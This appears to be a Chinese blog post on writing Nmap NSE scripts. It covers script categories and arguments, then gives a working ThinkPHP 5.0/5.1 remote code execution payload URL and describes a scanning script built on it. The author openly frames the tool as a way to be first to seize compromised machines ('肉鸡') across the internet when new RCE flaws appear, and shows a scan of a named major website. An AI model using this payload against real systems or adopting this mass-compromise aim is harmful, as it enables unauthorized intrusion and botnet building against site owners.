前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Nmap NSE初探-thinkphp远程代码执行脚本分享

Nmap NSE初探-thinkphp远程代码执行脚本分享

作者头像
意大利的猫
发布2020-08-20 14:39:54
7100
发布2020-08-20 14:39:54
举报
文章被收录于专栏:漫流砂漫流砂

Nmap简介

Nmap大家肯定都会用,不会的去翻我之前的文章,里面详细介绍过 Nmap 最吸引我的地方就是 NSE 部分,近600个脚本可以让你自如的完成各种渗透测试攻击

研究背景

最近一段时间各种漏洞层出不穷,而且远程命令执行,远程代码执行等越来越多了,可以说每一次爆发都是一次抓鸡的好机会 想在全球范围内快、准的率先占据肉鸡市场,我们如果用Python等语言写exp就需要去写端口发现,端口服务识别等功能,在这方面,应该没有谁比nmap做得更好了吧,所以写nmap的脚本是实现这一目标的捷径

Nmap的脚本使用规则

使用单个脚本 nmap www.baidu.com -p80 --script=sctipt_name 使用一组脚本 Nmap 官方设计的时候,将NSE按照功能进行了分组管理,调用的时候可以直接调用一个组,下面是分组信息

  • auth
  • broadcast
  • brute
  • default
  • discovery
  • dos
  • exploit
  • external
  • fuzzer
  • intrusive
  • malware
  • safe
  • version
  • vuln

根据分组的名字可以分辨出其对应的功能,比较常用的就是这个 vuln了,这个是漏洞检测分组 调用方法 nmap www.baidu.com -p80 --script=vuln 需要注意的是,同一个脚本可能存在于多个分组,比如一个脚本可能既属于vuln,又属于exploit

  • 使用多组脚本

比如我想同时调用 version和vuln,那么我们可以使用下面这种方法 nmap www.baidu.com -p80 --script=version,vuln nmap www.baidu.com -p80 --script="version and vuln"

  • 两者其中一个的话

nmap www.baidu.com -p80 --script="version or vuln"

  • 不使用某个分组的脚本

nmap www.baidu.com -p80 --script=“not version”

  • 使用自定义的一组脚本(非NSE默认路径)

nmap www.baidu.com -p80 --script=default,banner,/tmp/mynse/

  • 使用名称包含特定字符的脚本

nmap www.baidu.com -p80 --script="http-*" 如果你想调用全部的脚本,那么好,教你一个大招 nmap www.baidu.com -p80 --script=all

Nmap NSE的其他功能 更新脚本库 --script-updatedb 查看一个脚本的参数 --script-help= 追踪脚本执行过程中收发的数据包 --script-trace 脚本提交参数 --script-args= 这个比较重要,我得详细说说 --script-args 的参数是key,value形式的,被存储在 nmap.registry.args 中,可以通过 stdnse.get_script_args 来进行获取 nmap -sC --script-args 'user=foo,pass=",{}=bar",paths={/admin,/cgi-bin},xmpp-info.server_name=localhost' 通过这个参数,可以把我们需要的非主机和端口参数传递给NSE 当然,参数太多的话也可以放进一个文件中,使用下面这种方法进行调用 --script-args-file=params.txt

Thinkphp 5.0/5.1 远程代码执行漏洞

这个漏洞利用比较简单,判断也简单,所以拿这个来小试牛刀 payload: public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 GET方法请求这个url就会直接执行phpinfo 代码,以这个思路我编写了一个NSE 在文末有链

Lua脚本语言

Nmap这个工具使用了很多门语言进行编写,其中包括 C/C++ , Python, Lua等 C和C++ 写主程序 Python写图形化 Lua 编写NSE 所以,如果你想要和我一样编写NSE,Lua是你绕不过去的关 Lua 脚本语言和Python 有点相似,我用了两天了解了大概 但是我觉得Lua语言很操蛋,编写起来不爽!

脚本使用方法

将thinkphp-rce.nse 文件放在Nmap的脚本目录中 kali 是 /usr/share/nmap/scripts/ mac 是 /usr/local/share/nmap/scripts/ windows 不了解,自己看安装到哪里了吧 使用方法 nmap www.baidu.com -p80 --script=thinkphp-rce

可以看到这个主机是存在漏洞的,可以直接远程代码执行


其实这个脚本非常简单,用Python写可能就是5分钟,但是我学习NSE的一些规则和Lua语言耗费了很长时间,看不懂编写规则没有关系,后续我会详细的写出来

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 NOP Team 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Nmap简介
  • 研究背景
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档